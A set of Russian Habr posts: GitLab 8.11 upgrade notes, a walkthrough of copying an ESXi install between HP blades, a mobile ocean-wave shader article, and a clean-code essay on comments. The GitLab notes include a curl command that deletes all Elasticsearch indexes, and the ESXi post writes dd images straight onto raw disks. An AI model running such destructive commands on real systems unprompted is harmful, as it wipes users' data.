> [Все подробности в документации](http://docs.gitlab.com/ce/administration/high_availability/redis.html#experimental-redis-sentinel-support)
Прочие изменения
----------------
Этот релиз включает в себя и многие другие улучшения, включая различные security fixes. Полный список изменений доступен в [Changelog](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG).
Upgrade-барометр
----------------
Обновление до GitLab 8.11 потребует даунтайма из-за миграций баз данных
Даунтайм для сайта GitLab.com (самый крупный из известных нам инстансов GitLab) составил 15-30 минут. В зависимости от количества данных на вашем инстансе ваш даунтайм может быть меньше.
Одна из миграций удаляет несколько столбцов в нескольких таблицах (и инстанс GitLab нужно свернуть, чтобы эти данные не пропали в процессе доступа к ним).
Две другие миграции создают новые таблицы и наполняют их информацией на основе уже существующих в системе данных: в этом случае даунтайм нужен, чтобы добавляемые данные не поменялись в процессе работы миграции (и оставались неизменными, пока развертывание 8.11 не завершено полностью).
Наконец, еще одна миграция добавляет два внешних ключа (foreign keys), и здесь даунтайм нужен для гарантии отсутствия одновременного доступа к изменяемым данным.
### Устаревание (deprecation) Ruby 2.1
С этим релизом мы обновили Ruby до версии 2.3.
Для ручных установок мы настоятельно рекомендуем вам обновить Ruby до 2.3. Установки GitLab, сделанные через Omnibus, автоматически будут использовать Ruby 2.3.
Поддержка Ruby 2.1 и 2.2 будет полностью прекращена в GitLab версии 8.13.
### Для тех, кто обновился раньше остальных
Если вы обновились до 8.11 сразу после релиза и в процессе reconfigure получили ошибку `undefined method merge! for nil:NilClass`, то скачайте более новый пакет с младшей версией .1: `8.11.0-ce.1`.
Просто запустите `apt-get update` and `apt-get install gitlab-ce` / `apt-get install gitlab-ee`, и всё должно починиться само.
### Форсированная двухфакторная аутентификация при использоваии GitLab API и Git поверх HTTP
Если у вас включена двухфакторная аутентификация и вы пытаетесь получить API-токен через метод `/sessions` или Resource Owner Password Credentials flow provided в OAuth2, то вы не сможете залогиниться. Для успешного логина в этих случаях вам нужно будет использовать Personal Access Token.
> [Подробнее о personal access tokens](http://docs.gitlab.com/ce/api/README.html#personal-access-tokens)
### Реиндексирование Elasticsearch (только для EE)
Мы изменили структуру индексов Elasticsearch и теперь они используют взаимоотношения типа «родитель-ребенок». Это повышает производительность, но требует полной перестройки всех индексов Elasticsearch. После обновления до 8.11 вам надо будет вручную удалить старые индексы и построить новые.
Для удаления старых индексов сделайте вот такой запрос к Elasticsearch:
```
curl -XDELETE 'http://localhost:9200/_all/'
```
Для перестройки индексов выполните действия описанные в [документации по интеграции с Elasticsearch](http://docs.gitlab.com/ee/integration/elasticsearch.html#add-gitlabs-data-to-the-elasticsearch-index)
*Внимание* Описанное выше применимо только если вы обновляетесь с предыдущей версии (8.10). Если вы обновляетесь с более ранних версий, проверьте разделы «Upgrade-барометр» для всех промежуточных версий.
Если вы обновляетесь с версии GitLab, меньшей, чем 8.0 и при этом у вас включен CI, вам нужно сначала [обновиться до 8.0](https://about.gitlab.com/2015/09/22/gitlab-8-0-released/).
По умолчанию в процессе обновления все пакеты Omnibus будут остановлены, потом будут прогнаны все их миграции, и только потом они будут запущены снова. Это поведение не зависит от «размера» обновления. Изменить это поведение можно, создав файл [/etc/gitlab/skip-auto-migrations](http://doc.gitlab.com/omnibus/update/README.html).
Установка
---------
Если вы устанавливаете GitLab с «нуля», прочитайте соответствующий раздел: <https://about.gitlab.com/installation/>
Обновление
----------
Инструкции по обновлению: <https://about.gitlab.com/update/>
Enterprise Edition
------------------
GitLab Enterprise Edition включает в себя дополнительные функции типа поддержки LDAP-групп. Подробную информацию можно посмотреть в [описании GitLab EE](https://about.gitlab.com/features/#enterprise).
GitLab EE доступен только по подписке, подробности и цены можно посмотреть [вот тут](https://about.gitlab.com/pricing/).
Не хватает времени на установку и настройку нового инструмента? В стоимость подписки входят услуги по установке и обновлению GitLab на ваших серверах.
P.S. Если будете обновляться, обновляйтесь сразу на [8.11.2](https://about.gitlab.com/2016/08/25/gitlab-8-dot-11-dot-2-released/)
P.P.S. Над переводом работали [chebureque](https://habrahabr.ru/users/chebureque/), [nick\_volynkin](https://habrahabr.ru/users/nick_volynkin/) и @sgnl\_0 | https://habr.com/ru/post/308632/ | null | ru | null |
# Как перенести ESXi сервер на другой сервер
#### Введение
Данный материал описывает способ установки ESXi сервера на оборудование, которое не поддерживается его установщиком. Проблема обходится путем переноса образа ESXi с работающего сервера на сервер, где возникла проблема установки. В моем случае проблема была с HP Proliant Blade 35p.
#### Проблема с 35 блейдом
Понадобилось нам установить ESXi на Blade HP BL35p. Но почему-то при установке ESXi не может обнаружить установленный там жесткий диск. Причем на HP BL20p ставится без проблем, а вот на 35й никак не хочет — выдает ошибку:
Поиск информации
Поиск в интернете по ESXi дал информацию о возможности загружаться с флешки (http://www.yellow-bricks.com/2008/07/29/esxi-35-update-2-on-a-usb-memory-key/). Но здесь появилась другая проблема — BL35p не имеет внешних USB портов.
Вариант с загрузкой по ILO тоже не очень подходит, т. к. для этого надо обязательно заходить на Blade браузером и монтировать ему образ.
Была еще одна возможность использования USB устройств. На передней панели сервера есть специальный разъем, куда подсоединяется хитрый кабель с выходами на PS/2 мышь, клавиатуру, монитор и 2 USB порта. Но такое решение больше подходит для временного подключения, а не для штатной работы.
#### Вариант с образом dd для flash
##### неудача с dd на партицию
Поскольку готовый образ для работы прямо с флешки уже есть, я подумал перенести его прямо на диск. Damn Small Linux тоже не захотел грузиться на блейде. Я попробовал и в безопасном режиме и еще пару вариантов — не вышло.
Поэтому я просто поставил наш корпоративный CentOs на диск, а потом записал этот образ в специально отведенную партицию:
`centos # dd bs=512 if=VMware-...-.i386.dd of=/dev/hda3`
Потом залез в grub.conf и добавил пункт загрузки для ESXi
`title ESXi
root (hd0,2)
chainloader +1`**Наивный!** Я думал, что все так просто :)
Такой способ не мог заработать в принципе, но я тогда еще не знал этого.
Тут стоит отметить что все это я проделывал, выискивая хоть небольшой но целый интервал времени, между другими хоть и мелкими, но неотложными задачами. А такое прерывание не способствует глубокому пониманию вопроса :)
Я надеялся, что все заработает само после нескольких удачных манипуляций, найденных в интернете.
##### неудача с dd на отдельный диск
Снова начал искать способ запустить сервер. На этот раз я искал возможность сделать двойную загрузку из GRUB.
Нашел обсуждение похожей проблемы How do I setup ESXi in a dualboot with Linux? ( [communities.vmware.com/message/1205801;jsessionid=8858F14289C5790501D2BE15F4E048CF](http://communities.vmware.com/message/1205801;jsessionid=8858F14289C5790501D2BE15F4E048CF) )
Добавил 2й винчестер в сервер, записал образ туда
`centos # dd bs=512 if=VMware-...-.i386.dd of=/dev/hdb`
Повторил манипуляции с grub
`title ESXi
root (hd1,0)
chainloader +1`но что-то не хотел он грузиться из grub. Отключил 1й диск и вот он грузится со 2го. Я обрадовался: наконец-то! Все-таки это довольно просто!
Но и на этот раз загрузка прервалась. Не могу найти загружаемый раздел, ожидание появления загружаемого USB устройства, — так отрапортовал сервер. И в итоге ошибка загрузки.
##### dd образ уже содержит несколько разделов
Дальнейший поиск привел меня к этому документу [www.grid.org/blog/cameron/updating-vmware-esxi-disk-dump-file](http://www.grid.org/blog/cameron/updating-vmware-esxi-disk-dump-file)
Тогда я понял почему не сработал способ с записью образа в раздел диска — сам образ уже содержит в себе несколько разделов диска.
`~# fdisk -ul VMware-...-.i386.dd
You must set cylinders.
You can do this from the extra functions menu.
Disk VMware-...-.i386.dd: 0 MB, 0 bytes
64 heads, 32 sectors/track, 0 cylinders, total 0 sectors
Units = sectors of 1 * 512 = 512 bytes
Disk identifier: 0x00000000
Device Boot Start End Blocks Id System
VMware-...-.i386.dd1 8192 1535999 763904 5 Extended
VMware-...-.i386.dd4 * 32 8191 4080 4 FAT16 <32M
VMware-...-.i386.dd5 8224 106495 49136 6 FAT16
VMware-...-.i386.dd6 106528 204799 49136 6 FAT16
VMware-...-.i386.dd7 204832 430079 112624 fc Unknown
VMware-...-.i386.dd8 430112 1535999 552944 6 FAT16
Partition table entries are not in disk order`
Немного поискав и поразмыслив я отказался от этого способа (запись образа dd из дистрибутива прямо на диск), т. к. не знал, что нужно сделать, чтобы сервер понял как ему грузиться в этом случае.
#### Загрузка ESXi по сети с использованием PXE
В процессе поиска я также встретил довольно заманчивый способ загрузки ESXi по сети с помощью PXE. Здесь все также просто как и с созданием загрузочной флешки, только добавляются еще несколько шагов по настройке PXE сервера.
В данном документе все подробно расписано [communities.vmware.com/docs/DOC-6824](http://communities.vmware.com/docs/DOC-6824). Даже применить нужную конфигурацию после загрузки можно [communities.vmware.com/docs/DOC-7510](http://communities.vmware.com/docs/DOC-7510).
Но в данном случае нужен отдельный PXE сервер, настраивать который прямо сейчас не хотелось, поэтому я пошел другим путем :)
#### Успешный вариант с переносом разделов с BL20p
Я подумал, что все это просто организуется как для флешки, так и для PXE загрузки. Можно добавлять записи для своих драйверов устройств при помощи манипуляций с файлом oem.tgz. Значит мне нужен просто нормальный Live Cd и сервер, на который уже установился ESXi.
Поэтому я установил ESXi на резервный BL20p, где не возникает никаких проблем. Скачал ubuntu-8.10-desktop-i386.iso
##### карта партиций только что установленного ESXi
Загрузился в Убунту посмотрел на диск с ESXi. Увидел такую картину:
И мне почти все стало понятно :)
раздел ***/dev/cciss/c0d0p4*** у нас загрузочный, дополнительный раздел (**extended**) ***/dev/cciss/c0d0p1*** со своими подразделами (***p5, p6, p7, p8***) содержит в себе все необходимое для работы ESXi.
Остаются еще два основных раздела:
***/dev/cciss/c0d0p2*** — здесь лежит файл подкачки (uwswap)
***/dev/cciss/c0d0p3*** — это хранилище, под которое при установке выделяется все оставшееся место.
##### перенос основной части
Далее я начал перенос ESXi сервера с BL20p на BL35p. Для этого я загрузился на обоих с Live CD Ubuntu.
На BL20p выполнил
`blade20p #fdisk -ul /dev/cciss/c0d0
Disk /dev/cciss/c0d0: 18.3 GB, 18345246720 bytes
64 heads, 32 sectors/track, 17495 cylinders, total 35830560 sectors
Units = sectors of 1 * 512 = 512 bytes
Disk identifier: 0x00000000
Device Boot Start End Blocks Id System
/dev/cciss/c0d0p1 8192 1535999 763904 5 Extended
/dev/cciss/c0d0p2 1536000 9922559 4193280 6 FAT16
/dev/cciss/c0d0p3 9922560 35830559 12954000 fb VMware VMFS
/dev/cciss/c0d0p4 * 32 8191 4080 4 FAT16 <32M
/dev/cciss/c0d0p5 8224 106495 49136 6 FAT16
/dev/cciss/c0d0p6 106528 204799 49136 6 FAT16
/dev/cciss/c0d0p7 204832 430079 112624 fc VMware VMKCORE
/dev/cciss/c0d0p8 430112 1535999 552944 6 FAT16
Partition table entries are not in disk order`
Здесь уже видна знакомая нам картина. Зная где заканчивается расширенный раздел №1 (***/dev/cciss/c0d0p1***), снимаю его образ
`blade20p # dd bs=512 if=/dev/cciss/c0d0 of=/tmp/boot_esxi.dd count=1535999`
Потом переношу этот образ размером 786`431`488 байт на другой сервер
`blade20p # scp /tmp/boot_esxi.dd bl35p:/tmp/`
Ну и пишу этот образ на жесткий диск
`blade35p # dd bs=512 if=/tmp/boot_esxi.dd of=/dev/sda`
##### копирование содержимого партиции2
Форматирую 2й раздел (/dev/sda2) в FAT16, т. к. он хотя и есть в таблице разделов, но реально он не размечен на диске.
На обоих серверах монтирую 2й раздел
`blade35p # mount /dev/sda /mnt (на BL35p)
blade20p # mount /dev/cciss/c0d0p2 (на BL20p)`Копирую содержимое разделов с 20го на 35й
`blade20p # echo > /mn t/uwswap (обнуляю swap размером в 1 Гб)
blade20p # scp /mnt/* blade35p:/mnt/ -r`
##### манипуляции с партицией3 (возможно, что это делать не обязательно)
Поскольку 3й раздел ***/dev/cciss/c0d0p3*** в формате ***vmfs***, я не знаю что с ним делать в Убунте. Поэтому просто переношу 400Мб этого раздела в виде образа. Перед этим я выяснил, загрузившись в ESXi, что на этом разделе есть служебные файлы, которые занимают 366 Mб
`blade20p # df -h
Filesystem Size Used Available Use% Mounted on
unknown 183.9M 116.4M 67.5M 63% /
unknown 4.0G 1.0G 3.0G 25% /vmfs/volumes/49df3145-f290113e-defa-001635c10df4
unknown 12.3G 366.0M 11.9G 3% /vmfs/volumes/49df314a-a47bf89f-e95d-001635c10df4
unknown 539.8M 175.0M 364.8M 32% /vmfs/volumes/3abb47ef-875ea67c-c948-7bf6ff8d3c38
unknown 47.8M 1.0k 47.8M 0% /vmfs/volumes/f25a177c-84106917-bb27-25e3fe8f8471
unknown 47.8M 36.6M 11.2M 77% /vmfs/volumes/c8f8fc7d-7c221e9a-67b6-5dcb9d3b36ad`
Переношу так же как и первый кусок до этого:
`blade20p # dd bs=512 if=/dev/cciss/c0d0p3 of=/tmp/partit3.dd count=819200 (819200 = 400*1024*1024/512)
blade20p # scp /tmp/partit3.dd bl35p:/tmp/`
Ну и пишу этот образ на жесткий диск в нужный раздел
`blade35p # dd bs=512 if=/tmp/partit3.dd of=/dev/sda3`
После перезагрузки ESXi работает как ни в чем не бывало. Ура! Все получилось! :)
##### создание Storage из VI Client
Остается только сконфигурировать наш сервер.
Настраиваю из консоли ip адрес нового сервера. Захожу на него с помощью VMWare Infrastructure Client. В настройках вижу, что на этом сервере есть хранилище на 13,3 Гб и еще около 40 Гб неиспользуемого пространства, т. к. здесь установлен винчестер на 60Гб.
Удаляю существующее хранилище на 13,3 Гб, потом создаю новое из неразмеченного пространства в 55 Гб.
Здесь есть одна **опасность**. Когда создается новое хранилище у меня по умолчанию предлагается использовать весь диск. Хотя там и выскакивает предупреждение, что все данные будут уничтожены, я в полной уверенности, что работаю с неразмеченной частью диска успешно организовал хранилище поверх самого ESXi, который продолжал функционировать до следующей перезагрузки. Только тогда я понял, что был неправ, уничтожив все на диске :)
Эту ситуацию описал DimkaPhantom [dimkaphantom.habrahabr.ru/blog/54322](http://dimkaphantom.habrahabr.ru/blog/54322/)
Пришлось повторить описанную выше процедуру переноса сервера.
#### Заключение
Когда весь путь пройден, все кажется настолько простым и очевидным, что просто диву даешься чего я так мучился в начале :)
Вдруг кто-то окажется в начале этого пути и не все будет ему очевидным. Может быть мое описание ему хоть немного поможет :) | https://habr.com/ru/post/57165/ | null | ru | null |
# Быстрый рендеринг океанских волн на мобильных устройствах
Моделирование воды в компьютерной графике в реальном времени до сих пор остается весьма сложной задачей. Особенно актуально это при разработке компьютерных игр, в которых требуется создать визуально привлекательную картинку для игрока в рамках жесткого ограничения вычислительных ресурсов. И если на десктопах программист еще может рассчитывать на наличие мощной видеокарты и процессора, то в мобильных играх необходимо опираться на значительно более слабое железо.
В этой статье мы хотели поговорить о моделировании волн в открытом море и представить алгоритм, который позволил достичь достаточно интересные результаты при приемлемых 25-30Fps на среднем китайфоне.
В общем виде для моделирования поверхности волн в открытом море обычно используют экспериментально подобранный спектр [Филлипса](http://evasion.imag.fr/~Fabrice.Neyret/images/fluids-nuages/waves/Jonathan/articlesCG/waterslides2001.pdf), т.е. разложение всего спектра волн на Фурье составляющие, которые анимируются во времени. Однако, данное решение весьма ресурсоемкое и, хотя быстрое Фурье разложение может выполняться на видеокарте, его практически невозможно использовать на слабых смартфонах как за счет быстродействия, так и из-за ограничения функционала видеокарты (поддержка рендеринга во float текстуру, ограничение в точности вычислений). Пример такого метода можно найти [здесь](http://david.li/waves/) и [здесь](http://www.keithlantz.net/2011/10/ocean-simulation-part-one-using-the-discrete-fourier-transform/).
Более простым методом является генерация распределения волн заранее (или непосредственно в шейдере), а затем сложение волн разной фазы и амплитуды.
Несмотря на простоту метода он может обеспечить весьма впечатляющие результаты, однако требует точной настройки и имеет ряд ограничений. Рассмотрим этот подход подробнее и попробуем разобраться с возникающими нюансами как в части качества картинки так и быстродействия.
Генерация волн
--------------
Для генерации волны нам нужно знать ее высоту в определенной точке. Ее можно получить множеством способов. Например, просто использовать комбинацию синусов, косинусов от координат этой точки, но очевидно, что полученное распределение высот выглядит слишком искусственно и не подходит для решения нашей задачи. В этом случае наблюдается периодичность даже если менять направление волн относительно друг друга.
**Простое, но неестественное море**Забегая немного вперед, на изображении внизу представлена поверхность воды, полученное путем сложения волн разной амплитудой и высоты.
Тот же алгоритм, но издали наблюдается периодичность.
Более оптимально использовать [шум Перлина](https://habrahabr.ru/post/265775/), пример генерации которого на шейдерах представлен ниже (код для Cg, для GLSL требует косметических изменений):
```
float rand(float2 n) {
return frac(sin(dot(n, float2(12.9898, 4.1414))) * 43758.5453);
}
float noise(float2 n) {
const float2 d = float2(0.0, 1.0);
float2 b = floor(n), f = smoothstep(0, 1, frac(n));
return lerp(lerp(rand(b), rand(b + d.yx), f.x), lerp(rand(b + d.xy), rand(b + d.yy), f.x), f.y);
}
```
rand — генерирует псевдослучайное значение, а noise интерполирует четыре случайный числа в углах квадрата на любую точку внутри него.
**Шум перлина**
Периодичности не наблюдается
Результат уже лучше, распределение волн заметно изменилось, но их форма все также отличается от естественных волн. При небольшой амплитуде это еще приемлемо, но для больших волн характерно наличие резких пиков.
При использовании спектра Филлипса это решается смещением сетки поверхности воды к пикам, что придает необходимую форму. Однако, более простым методом и существенно более эффективным в нашем случае является использование простой формулы, что приводит к удовлетворительному результату в виде остроконечных волн
Недостаток метода в том, что он приводит к появлению кругов и прочих замкнутых фигур, заметных глазу, но при соответствующем подборе параметров этот недостаток становится несущественным.
Фазовое распределение и анимация
--------------------------------
Очевидно, что наличие только одной фазы (или иначе октавы) для воды недостаточно для получения реалистичной воды и требуется наложить несколько волн с разной амплитудой и фазой, что позволяет получить как большие волны так и мелкую рябь на поверхности.
```
float amp = maxHeight / 2;
for (int i = 0; i < count; ++i){
h += amp * phase(pos + v[i]*t);
pos *= sp;
amp /= sa;
}
```
Хорошие результаты получаются при выборе sp, sa равным 2, но мы вольны выбирать любые значения, обеспечивающие приемлемые результаты. Подбор этих параметров позволяет получить разнообразные типы волн и управлять их изменением вплоть до полного штиля.
Для анимации волн достаточно каждую фазу смещать в своем направлении. При этом необходимо учесть, что скорость движения больших волн больше и волны двигаются преимущественно в одном направлении.
Оптимизация
-----------
Как показали эксперименты вполне достаточно иметь порядка 7 фаз для получения “вкусной” картинки и, в принципе, в очередном велосипеде не было необходимости. Однако, первые же тесты на смартфонах повергли в шок, т.к. фпс неумолимо стремился к 0, что не могло не огорчать. Посмотрим сколько операций в шейдере потребуются для отображения одной точки:
* Шум Перлина: Для каждого вертекса требуется 4 случайных значения, т.е 4 sin, 4 fract и прочие более простые операции.
* Расчет для 7 волн — 28 sin.
* Расчет нормалей к поверхности: Кроме высоты самой точки нам необходимо знать высоты 2 соседних точек. Соответственно, количество расчетов увеличивается в 3 раза — до 84! операций вычисления sin.
В целом можно не согласиться с приведенными выше рассуждениями, т.к. высоту поверхности в целом достаточно вычислить для каждой вершины меша, что заведомо быстрее, чем считать для каждой точки экрана. Но в таком случае ни о каком реализме можно и не мечтать. Максмум, что мы получим очень грубое приближение к желаемому результату. Таким образом, все приведенные выше операции приходится вычислять именно во фрагментном шейдере. Варианты оптимизации:
* Попробовать сократить число фаз, но как упоминалось ранее, желательно иметь порядка 7 фаз для приемлемого отображения. А меньшее число значительно ухудшает "качество" волн.
* Попробовать заменить затратную операцию вычисления шума на выборку из готовой текстуры. Вместо 84 sin мы получаем уже 21 выборку (т.к. для шума Перлина требуется 4 sin).
### Карта высот-нормалей
Последний вариант имеет право на жизнь, но fps также слишком мал — порядка 3-4 кадров в секунду. Кроме того, в этом случае при расчете нормали мы упираемся в точность хранения данных в текстуре, что приводит к появлению "ступенек" на воде. Конечно можно использовать текстуру с вещественными числами, но тогда мы дополнительно ограничим количество поддерживаемых устройств.
В тоже время, для получения высоты точки необходимо считать значение высоты из текстуры, но нам ничего не мешает запечь в эту текстуру еще и карту нормалей. Таким образом, одной выборкой из текстуры мы можем получить высоту точки и одновременно нормаль к ней. Запекание данных в текстуру можно выполнить заранее или же непосредственно на видеокарте с помощью рендеринга в текстуру (например перед запуском приложения или смене параметров).
При вычислении текстуры необходимо обеспечить достаточную точность хранения нормалей. Если сохранять нормаль в привычном виде карты нормалей, то эта точность оказывается недостаточной, что проявляется в артефактах изображения.
Действительно, для получения нормали нам достаточно сохранять лишь проекцию нормали в горизонтальной плоскости (nx, ny). В общем виде, каждая из этих компонент меняется в диапазоне [-1,1]. Но в случае воды используемый диапазон оказывается существенно меньше, т.к. нормали в основном ориентированы вверх (что особенно заметно при генерации волн малой амплитуды). Таким образом, если нормализовать этот диапазон по максимальному значению, то мы сможем существенно увеличить точность хранения нормалей и, соответственно, качество картинки.
**Пример карты высот с нормалями**
При этом для генерации результирующей волны надо аккуратно преобразовать нормаль каждой фазы с учетом амплитуды волны, ее фазы, а также подобранного выше коэффициента масштабирования.
### Дополнительная оптимизация
Несмотря на выполненные оптимизации у нас до сих пор происходит выборка из 7 текстур и хотелось бы уменьшить это количество. Как упоминалось ранее, уменьшение этого числа в общем виде не желательно.
Однако, форму волн мы храним в текстуре, в которой можем заранее сгенерить вместо одной фазы сразу несколько.
**Разогнанная карта высот**
Это решает проблему генерации множества волн небольшим количество проходов, однако при анимации становится заметно, что часть волн движется с одной скоростью. Для уменьшения этого эффекта можно сохранять в текстуру волны с большей разницей фаз, например 1 — 3 — 5, а при рендеринге мы получим 1-1'-3-3'-5-5'. Также мы использовали подход при котором первые две фазы из четырех использовали одну текстуру, а последние две уже другую с иным распределением и количеством фаз. Именно этим способом получено изображение, приведенное в начале поста
### Недостатки метода
* Основная техническая проблема в том, что для получения волн необходимо наличие возможности [выборки из текстуры в вершинном шейдере](https://www.khronos.org/opengl/wiki/Vertex_Texture_Fetch). Технически это поддерживается с Opengl ES 2.0, но далеко не все смартфоны обеспечивают эту функциональность.
* Необходимость тщательной подборки параметров, чтобы скрыть артефакты метода и получить привлекательное изображение.
* Полученное море периодично по своей природе и это ограничивает сферу применения. При полете высоко над поверхностью периодичность бросается в глаза.
### Еще немного про оптимизацию
Кроме описанных выше методов мы тестировали несколько других вариантов оптимизации. Наиболее интересным из них нам показалась интерполяция волн по времени.
Смысл этого метода в том, что мы можем отрендерить в текстуру результирующую карту высот и нормалей в некоторые моменты времени, а для прочих сделать интерполяцию высот и нормалей.
Таким образом раз в N кадров требуется сделать полный расчет поверхности, а N-1 кадр можно считать путем простой выборки из двух текстур.
В таком случае получается, что одна волна уменьшается и рядом появляется следующая. При уменьшении N анимация становится более плавной, хотя эффективность метода и снижается.
Таким образом его можно вполне эффективно использовать в определенных условиях, например, при малой скорости волн или на относительном удалении от поверхности, когда недостаток метода становится менее заметным.
### Линия горизонта
На данный момент мы получили вполне жизнеспособную и симпатичную водичку, однако не обговаривали какую сетку будем использовать для поверхности воды. Очевидно, что для отображения воды до линии горизонта нам фактически придется использовать бесконечно большой меш точек (по крайней мере растянуть его до плоскости отсечения камеры), в то время как, количество точек в нем весьма ограничено). Простое линейное масштабирование не работает, т.к вблизи камеры меш становится слишком разреженным, а в вблизи линии горизонта, наоборот, излишне густым.
Самым простым способом решения этого проблемы является масштабирование меша в вершинном шейдере в зависимости от расстояния до камеры. Недостаток же вполне очевиден — сложно подобрать необходимые параметры, а полученное распределение точек все также будет неравномерно.
Другой вариант — это использование меша с разной детализации в зависимости от расстояния. Но это может приводит к рывкам при смене уровня детализации, а также требует введения дополнительной логики контроля этих уровней.
### Проецируемая сетка
Наиболее удобным является использование метода [projected Grid](http://habib.wikidot.com/projected-grid-ocean-shader-full-html-version#toc11), который в общем можно описать следующим образом:
* Создается равномерная плоская сетка, в координатах [-1..1], всегда расположенная в пространстве камеры
* В вершинном шейдере эта сетка проецируется на горизонтальную плоскость.
* Для полученной точки выполняются все расчеты для отображения воды
В качестве аналогии можно представить слайд с точками, прикрепленный к прожектору (камере). Там где тень от точки попадает на плоскость и находится искомая точка. В то же время с точки расположения камеры наблюдатель увидит всю ту же равномерную сетку
Этот метод имеет несколько преимуществ:
* Полученная сетка равномерная и легко позволяет менять свой размер
* Не затратный по производительности метод. Для корректного расчета достаточно одной операции умножения и сложения векторов в вершинном шейдере
Расчет освещения
----------------
В основе получения корректного изображения лежит правильный учет всех составляющих светового потока — отраженный свет, свет рассеянный в толще воды, блики от солнца и т.д.
В общем виде это является нетривиальной задачей, но в нашем случае мы использовали более простой подход, т.к. не было необходимости отображать поверхность дна, каустики и прочие.
Подробное описание расчета освещения не будем, т.к. есть много подробных статей посвященных этой тематики (например [здесь](https://habibs.wordpress.com/water-mathematics/), [здесь](http://cdn.imgtec.com/sdk-documentation/Shader+Based+Water+Effects.Whitepaper.pdf)). Хотелось бы только отметить необходимость выбора "правильной" формулы для вычисления коэффициента Френеля.
В первой версии шейдера мы никак не могли добиться реалистично выглядящей воды. Полученный результат был больше похож на нарисованную или пластиковую воду. Оказалось, что мы использовали самую примитивную версию для вычисления коэффициента Френеля:
. В то же время замена формулы на 
значительно улучшило реализм воды. Прочие апроксимации для коэффициента Френеля можно посмотреть [здесь](http://steps3d.narod.ru/tutorials/fresnel-tutorial.html).
Результаты
----------
Приведенный способ симуляции воды мы реализовали в Unity3D. Для расчета освещения и создания формы волн мы использовали явные вертексные и фрагментные шейдеры (можно было реализовать и на [поверхностных](https://docs.unity3d.com/Manual/SL-SurfaceShaders.html) шейдерах, но это не играет принципиальной роли). При тестах на андроид смартфонах мы получили от 25 к/c (Adreno 405 + MediaTek MT6735P) до 45 (Adreno 505 + Snapdragon 430). На части смартфонах, как и ожидалось, приложение на заработало из-за отсутствия поддержки [чтения из текстуры в вершинном шейдере](https://www.khronos.org/opengl/wiki/Vertex_Texture_Fetch). При этом интересно отметить, что расчет освещения в результате оказался сопоставим со сложностью c генерацией волн. При необходимости можно поднять fps за счет использования других моделей освещения или отключения части элементов как карта окружения, блики и т.д
**Итоговое изображение+анимация**
Анимации с 7 фазами волн
[Ютуб](https://www.youtube.com/watch?v=4zydgSCkh24)
Анимации с 4 фазами
[Ютуб](https://www.youtube.com/watch?v=aIRhtn4om1w) | https://habr.com/ru/post/336998/ | null | ru | null |
# Прекратите усердствовать с комментариями в коде
Привет, Хабр!
Сегодня вашему вниманию предлагается весьма дискуссионная статья, затрагивающая важный аспект философии "[Чистого Кода](https://www.piter.com/product_by_id/111861023)". Автор статьи берет на себя смелость утверждать, что в большинстве случаев комментарии в коде вредны, но также не забывает указать, когда без них не обойтись.
Поэтому — читаем внимательно и, несмотря ни на что, комментируем.
> Чистый код должен читаться как хорошо написанная проза — Роберт Мартин
Как правило, прослеживается выраженная корреляция между плохим кодом и кодом, переполненным комментариями. Комментарии – самый характерный признак беспорядочного исходного кода.
Каждый программист должен стремиться писать настолько чистый и выразительный код, чтобы комментарии в нем просто не требовались. Смысл каждой переменной, функции и класса должны распознаваться по их названию и структуре. Если вам требуется написать комментарий – это обычно означает, что ваш код получился недостаточно выразительным. Всякий раз, когда вы пишете комментарий, вас должны пробирать угрызения совести.
Когда кто-то читает ваш код, ему и без комментариев должно быть понятно, что этот код делает. Грамотно поименованные классы и функции должны помогать читателю следить за развитием событий, словно это не код, а хороший роман. Когда читатель встретит новую функцию или класс, их содержимое не должно его удивлять. Помните: львиная доля рабочего времени программиста тратится не на написание кода, а на чтение чужого кода, в котором приходится разбираться.
#### Комментарии маскируют косяки
Мне часто приходится встречать комментарии над названиями переменных или функций; такие комментарии описывают, что делает код (или должен делать). Такие комментарии явственно свидетельствуют, что программист не смог подобрать достаточно выразительное название, либо что данная функция делает более одной вещи.
Правильное именование сущностей в коде – исключительно важная вещь. Всеми силами старайтесь называть каждый фрагмент кода настолько точно, чтобы другие разработчики понимали его с первого раза и однозначно.
```
// найти сотрудников по статусу
List find(Status status) {
...
}
```
В данном примере название `find` получилось недостаточно информативным, поэтому автору функции пришлось компенсировать это при помощи комментария, описывающего, что делает эта функция. Однако, если функцию find доведется вызывать из другого модуля, то останется лишь догадываться, что она находит. Что именно понимается в данном случае под «находить»? Как она находит что бы то ни было? Возвращает ли она найденное? Как указывает Дядюшка Боб в своей книге «Чистый код», если вам требуется написать комментарий – значит, вы не смогли как следует выразить мысли в коде.
Кому понравится вникать в комментарий над каждой функцией, чтобы разобраться, что она делает?
```
List getEmployeesByStatus(Status status) {
...
}
```
Теперь назначение этой функции очевидно уже из ее сигнатуры, и комментарий становится избыточным. Итак, я подхожу к следующему аспекту, поясняющему, почему комментарии сопутствуют недоработкам.
#### Избыточные комментарии
Они только замусоривают ваш код и совершенно не нужны. Если вы наполните код кучей лишних комментариев – то человек, читающий его, приучится пропускать все комментарии до единого, и из-за этого, вероятно, не прочитает те, которые действительно важны.
```
// Эта функция отправляет электронное сообщение
void sendEmail() {
...
}
// В этом классе содержатся данные по сотруднику
public class Employee {
...
}
/**
* @param title Это заголовок CD
* @param author Это автор CD
* @param tracks Количество треков на CD
*/
public void addCd(String title, String author, int tracks) {
...
}
```
В последнем примере показана избыточность, спускаемая сверху. Во многих организациях требуют подписывать таким образом каждую функцию и класс. Если ваш начальник тоже так поступает – попросите его так не делать.
#### Неверный уровень абстрагирования
Если у вас есть длинная функция, либо вам требуется документировать код, показав, что в какой части делается, то, возможно, вы нарушаете следующие правила:
1. Каждая функция должна делать ровно одну вещь.
2. Функции должны быть маленькими.
Вот пример:
```
// Эта функция считает прайсы, сравнивает их с продажами,
// промо-акциями, проаеряет, верны ли цены, а затем
// отправляет пользователю письмо с промо-предложением
public void doSomeThings() {
// Вычислить прайсы
...
...
...
// Сравнить вычисленные прайсы с промо-показателями по продажам
...
...
...
// Проверить, верны ли вычисленные прайсы
...
...
...
// Отправить пользователям промо-предложения
...
...
...
}
```
Если у вас в коде есть фрагменты, которые можно выделить в самостоятельные функции – то нужен рефакторинг. Если вам удалось инкапсулировать каждый фрагмент логики в отдельную функцию, то код должен читаться именно как описание заложенных в ним действий.
После рефакторинга имеем:
```
public void sendPromotionEmailToUsers() {
calculatePrices();
compareCalculatedPricesWithSalesPromotions();
checkIfCalculatedPricesAreValid();
sendPromotionEmail();
}
```
